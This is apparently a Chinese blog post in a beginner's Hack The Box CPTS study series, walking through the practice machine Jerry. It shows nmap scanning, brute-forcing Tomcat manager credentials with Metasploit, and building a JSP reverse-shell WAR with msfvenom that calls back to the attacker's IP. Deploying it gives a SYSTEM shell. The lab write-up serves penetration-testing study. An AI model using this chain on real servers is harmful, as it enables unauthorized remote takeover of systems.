iT邦幫忙

2026 iThome 鐵人賽

DAY 24
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 24 篇

Day 24 — Jerry:8080 開了一扇門,進去竟然直接變 SYSTEM?! 👀

  • 分享至 

  • xImage
  •  

總算把 Cronos 那條攻擊鏈搞清楚了!!!
常常聽到 Port 53,原本以為它就只是「Domain 對 IP」這麼簡單的東西><
結果這次才真正搞清楚:原來 53 port 跑的 DNS,還藏著 Zone Transfer 這個可能洩漏大量 DNS 紀錄的功能 QQ
果然 Port 真的沒有想像中那麼簡單!xddd


前面三台靶機 Lame、Bashed、Cronos 都是 Linux——
但想想我們平常比較常接觸的個人電腦,很多其實都是 Windows。

那接下來就換個方向!
來看看 Windows 機器有哪些常見的攻擊面,又可以怎麼從掃描結果開始慢慢發現它們 👀

今天就要邀請我們的下一台靶機——Jerry!
那我們就趕快來看看它的模樣吧~~~

今天在 Jerry 機器拿到的 Target IP 是:10.129.136.9
https://ithelp.ithome.com.tw/upload/images/20261008/201841894mvYuUerX3.png


還記得拿到 IP 的起手式嗎?

拿到 Jerry 的 IP ,照我們之前練過的流程走一遍囉~

第一步:確認目標是否在線上

sudo nmap -sN 10.129.136.9
  • -sN: 只確認有沒有人在家,不掃 port。

https://ithelp.ithome.com.tw/upload/images/20261008/20184189E9sECBxrqg.png

看到 Host is up,確認在線上。


第二步:確認主機在線之後,看看裡面有什麼

確認這台機器有回應之後,掃掃 port,看看有哪些門是開著的:

sudo nmap -p- -T4 10.129.136.9 
  • -p-: 掃全部 65535 個 port,不只掃前 1000 個

https://ithelp.ithome.com.tw/upload/images/20261008/20184189jTdhysWTfy.png


第三步:看清楚每個服務是什麼

sudo nmap -sC -sV -p 8080 10.129.136.9
  • -sV:版本偵測——Nmap 會跟每個服務「對話」,問出它是什麼版本
  • -sC:跑預設腳本——Nmap 內建針對特定服務的自動調查問卷

https://ithelp.ithome.com.tw/upload/images/20261008/20184189HiNxdTFkXB.png

怎麼讀這個結果:

欄位 意思
PORT 哪個 port,後面 tcp 是通訊協定
STATE 狀態(open 代表有服務在跑)
SERVICE 大概是什麼類型的服務
VERSION 服務的具體版本號

看到 8080 port (Java / Tomcat),我會想做什麼

掃完 Nmap,看到8080 port 開著——照 Day 4 的習慣,跑一遍思路:

先想清楚:這是什麼 → 有什麼東西是我感興趣的 → 可以用什麼工具 → 有機會能拿到什麼

Port 8080:Web(Java / Tomcat)

這是什麼
8080 常被拿來跑 HTTP 服務,而這台機器上跑的是 Apache Tomcat。Tomcat 是專門讓 Java Web 應用程式跑起來的Server—就像 Apache跟PHP的關係。

我感興趣的是什麼

  • 是不是 Tomcat?版本是什麼?
  • 有沒有 /manager/html 或 /host/manager(Tomcat 內建管理介面,登進去就能部署程式)
  • 管理介面有沒有用預設帳密
  • 有沒有其他已知漏洞(例如 CVE-2020-1938 Ghostcat)

有機會拿到什麼
只要能登進 /manager/html或 /host/manager,就能上傳 WAR 檔案直接在伺服器上跑程式——幾乎等於直接拿到控制權。Tomcat 很常以高權限身份執行(SYSTEM 或 root),拿到後通常權限很大。


看到 8080 port (Java / Tomcat) 的操作順序

階段 做什麼 為什麼先做
step 1 瀏覽器看預設頁面 + /docs/ 確認版本,查有沒有已知 CVE 版本決定後面能不能利用漏洞
step 2 敲 /manager/html 和 /host-manager,確認入口有沒有開 這是 Tomcat 的高價值入口,能上傳 WAR ,Tomcat會直接把它當應用程式跑起來。Tomcat 很常以高權限身份執行(SYSTEM 或 root)——shell 繼承服務身份,一拿到就是最高權限
step 3 嘗試常見的預設帳密(tomcat:tomcat、admin:admin…) Tomcat 的 tomcat-users.xml 預設帳密,很多人裝完沒改
step 4 用 msfvenom 生成惡意 WAR → 上傳 → 拿 shell 登進管理介面就能上傳 WAR,Tomcat會直接把它當應用程式跑起來。Tomcat 很常以高權限身份執行(SYSTEM 或 root)— shell 繼承服務身份,一拿到就是最高權限

Tomcat 的管理介面帳號會設定在 tomcat-users.xml 裡~如果管理員自行設定了弱密碼、常見密碼,或沿用了不安全的帳密設定,就可能成為攻擊入口 QQ
所以遇到管理介面時,可以先手動試幾組常見的弱密碼或預設組合>< 如果沒中,再考慮使用工具進一步測試!



Step 1:確認版本

直接瀏覽器打開:

http://10.129.136.9:8080/

https://ithelp.ithome.com.tw/upload/images/20261008/20184189CEvMH8jqJn.png

Tomcat 預設頁面就會顯示版本資訊。如果管理員把預設頁面換掉了、看不到版本,可以去 /docs/ 確認:

curl -s http://10.129.136.9:8080/docs/ | grep Tomcat
參數 意思
curl 直接在終端機打 curl,叫電腦去幫我們開後面接的網址、把網頁內容抓下來
-s silent 模式,輸出比較乾淨
| grep Tomcat 從輸出裡篩出包含「Tomcat」的那幾行,快速找到版本資訊

https://ithelp.ithome.com.tw/upload/images/20261008/20184189QBvA8NyZMz.png

確認版本是 Apache Tomcat/7.0.88,跟 nmap 掃出來的一樣。


Step 2:試試能不能進管理介面

http://10.129.136.9:8080/manager/html

https://ithelp.ithome.com.tw/upload/images/20261008/201841893ZlLIQZ1FQ.png

或是:

http://10.129.136.9:8080/host/manager

https://ithelp.ithome.com.tw/upload/images/20261008/201841898FpW11U9nD.png


Step 3:手動輸入試看看常見的幾個預設帳密

我們在http://10.129.136.9:8080/manager/html,有看到管理介面

Tomcat 的帳號設定放在 tomcat-users.xml 這個檔案裡—這是 Tomcat 安裝時自動建立的設定檔,預設就有幾組帳密,很多管理員裝完沒改過><

先手動試幾組最常見的:

帳號 密碼
tomcat tomcat
admin admin

試了 tomcat:tomcat——沒反應!

試了 admin:admin
出現
https://ithelp.ithome.com.tw/upload/images/20261008/20184189G8PnV5CcyP.png

看起來都沒成功QQ


常見的預設帳密手敲都沒中的話,再跑 Metasploit:

Metasploit內建很多現成的攻擊module~我們在這使用 tomcat_mgr_login module
這個module內建一份 Tomcat 預設帳密的 wordlist,會自動一組一組幫我們嘗試

打開 Metasploit 的操作介面

msfconsole

https://ithelp.ithome.com.tw/upload/images/20261008/20184189duapgyggPM.png
https://ithelp.ithome.com.tw/upload/images/20261008/20184189I6IoLSd8oc.png
提示符號會從普通的 $ 變成 [msf] ,代表我們已經進到 Metasploit 的世界裡了 xddd

載入帳密爆破模組:

use auxiliary/scanner/http/tomcat_mgr_login

https://ithelp.ithome.com.tw/upload/images/20261008/20184189WVbqqnVxJW.png

  • use : 載入模組的指令
  • auxiliary/scanner/http/tomcat_mgr_login 是帳密爆破模組的完整路徑
    -- auxiliary : 輔助類module(幫我們做information gathering或測試)
    --scanner/http : 代表這module是用來掃描 HTTP 服務的

設定目標:

set RHOSTS 10.129.136.9

https://ithelp.ithome.com.tw/upload/images/20261008/20184189rBagV3joBf.png

set RPORT 8080

https://ithelp.ithome.com.tw/upload/images/20261008/201841897boaE1FbwG.png

set STOP_ON_SUCCESS true

https://ithelp.ithome.com.tw/upload/images/20261008/20184189cEt37uBC7L.png

指令 意思
set RHOSTS 設定目標機器(靶機) IP(Remote HOSTS)
set RPORT 設定目標機器(靶機) port(Remote PORT)
set STOP_ON_SUCCESS true 找到一組成功的帳密就停下來,我們已經可以透過他登入管理介面哩

確認設定後,執行:

run

https://ithelp.ithome.com.tw/upload/images/20261008/20184189d9AqIhPBqy.png

爆破出帳號密碼了,Username是tomcat、Password是s3cret


Step 4:登入管理介面

回到瀏覽器,打開:

http://10.129.136.9:8080/manager/html

https://ithelp.ithome.com.tw/upload/images/20261008/201841897bWNDXVgNd.png

Username輸入tomcat、Password輸入s3cret
https://ithelp.ithome.com.tw/upload/images/20261008/20184189wb3RlW3YbJ.png

成功登入管理介面!

我們往下滑,找找有沒有看起來可以上傳檔案的按鈕(讓我們有機會上傳WAR,拿 shell)
https://ithelp.ithome.com.tw/upload/images/20261008/20184189YkxVoEIydT.png
哇~~~找到了!!!


Step 5:打包惡意 WAR 上傳

WAR 是 Tomcat 看得懂的程式檔——我們丟一個 WAR 上去,Tomcat就直接幫我們跑,不問我們裡面裝了什麼 xddd

我們把 reverse shell 包進 WAR 上傳,Tomcat 以為在跑正常程式,結果跑的是我們的後門——連線就會回到我們這裡了!

用 msfvenom 生成惡意 WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.205 LPORT=4444 -f war > shell.war
參數 解釋
msfvenom Metasploit 的 payload 生成工具,可以把 reverse shell 打包成各種格式
-p java/jsp_shell_reverse_tcp 使用的 payload—生成 Java JSP 格式的 reverse shell,讓目標機器主動連回來
LHOST=10.10.15.205 我們你的 Kali IP,讓目標機器知道 reverse shell 要連回哪裡
LPORT=4444 我們拿來監聽的 port,目標機器會連到這個 port
-f war 輸出格式為 WAR 檔案,Tomcat 才認得出來
> shell.war 把生成的內容存成 shell.war 這個檔案

https://ithelp.ithome.com.tw/upload/images/20261008/20184189LaV1gKepVV.png

確認shell.war有生成
https://ithelp.ithome.com.tw/upload/images/20261008/20184189v85hjwFZ9O.png


Step 6:上傳並拿到 Shell

先開 nc(netcat)等待靶機的 reverse shell 連回來:

nc -lvnp 4444
參數 意思
nc netcat,在我們自己的機器上開個 port 守著,等靶機的 reverse shell 連回來
-l listen 模式,等待目標機器(靶機)的 reverse shell 連進來(而不是主動去連目標機器(靶機))
-v Verbose,顯示較詳細的連線資訊
-n 不做 DNS 解析
-p 4444 指定監聽的 Port 為 4444(要跟 msfvenom 裡的 LPORT 一樣)

https://ithelp.ithome.com.tw/upload/images/20261008/20184189n0iPm1bh8i.png

回到 Tomcat 管理介面,在 WAR 上傳區塊選擇 shell.war,按下 Deploy
https://ithelp.ithome.com.tw/upload/images/20261008/20184189reSbvfvGS1.png

上傳成功後,頁面會多出一個 /shell 的應用程式~點他!
https://ithelp.ithome.com.tw/upload/images/20261008/20184189HZoGrxHvkg.png

回我們在監聽的終端機,會看到
https://ithelp.ithome.com.tw/upload/images/20261008/20184189Q7S9BCjA1R.png
我們拿到Shell,可以執行指令了

下 whoami
https://ithelp.ithome.com.tw/upload/images/20261008/201841890Y2NK0GqSu.png

我們拿到的是 nt authority\system!我們之前都是先拿到 www-data,這次不一樣耶!!!


等等——為什麼直接是 SYSTEM?

nt authority\system 是 Windows 最高權限耶!!!(震驚)

跟 Linux 的 root 有點像,但其實又不太一樣xddd

Linux 的 root:
是系統中的最高權限帳號,可以透過 su、sudo 等方式取得 root 權限——但實際上 root 是否設定密碼、能不能直接登入,還是要看系統設定><

Windows 的 SYSTEM:
不是人能登入的帳號!是 Windows 系統本身跑服務的身份——沒辦法用帳號密碼直接變成 SYSTEM,只能透過「某個以 SYSTEM 身份在跑的程式」去繼承它的權限><

Jerry 的 Tomcat 就是用 SYSTEM 在跑。管理員懶得另外建低權限帳號,直接讓服務用系統最高身份執行——所以我們的 WAR 跑起來,shell 繼承 Tomcat 的身份,直接就是 SYSTEM xddd

在 Linux,最高權限要自己爬上去。在 Windows,最高權限有時候是繼承來的!!!

所以以後打 Windows 靶機,拿到 shell 之後 whoami 的結果,絕對要比 Linux 多看很多眼 xddd


本日回顧 💭

哇!!!還是覺得很驚訝🤣

第一次看到一攻入主機,就直接拿到最高權限了!

之前在學 AD 的時候,也有看到一些服務帳號,有時候管理者忘記把預設密碼改掉,結果就變成了弱密碼的攻擊面QQ

當時提到的「服務帳號」,是不是就有點像今天用來執行 Tomcat 的服務帳號呢?

如果是的話,服務帳號真的太太太危險了吧 😨

不但可能因為預設密碼沒換掉變成入口,
拿到帳號之後,如果它本身又擁有很高的權限,
能做的事情真的太多太多了……太可怕了 QQ

不過這次更誇張——
一進到我們的目標機器 Jerry,
直接就是:

NT AUTHORITY\SYSTEM

欸???🤣

都已經是最高權限了,
那我們還有什麼可以練習的呢?
明天就跟大家一起來看看吧!
看看到底還能從這台 Jerry 挖出什麼東西 👀
明天見啦~~~


上一篇
Day 23 — Cronos 的技術發現:找到問題之後,報告要怎麼寫?
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言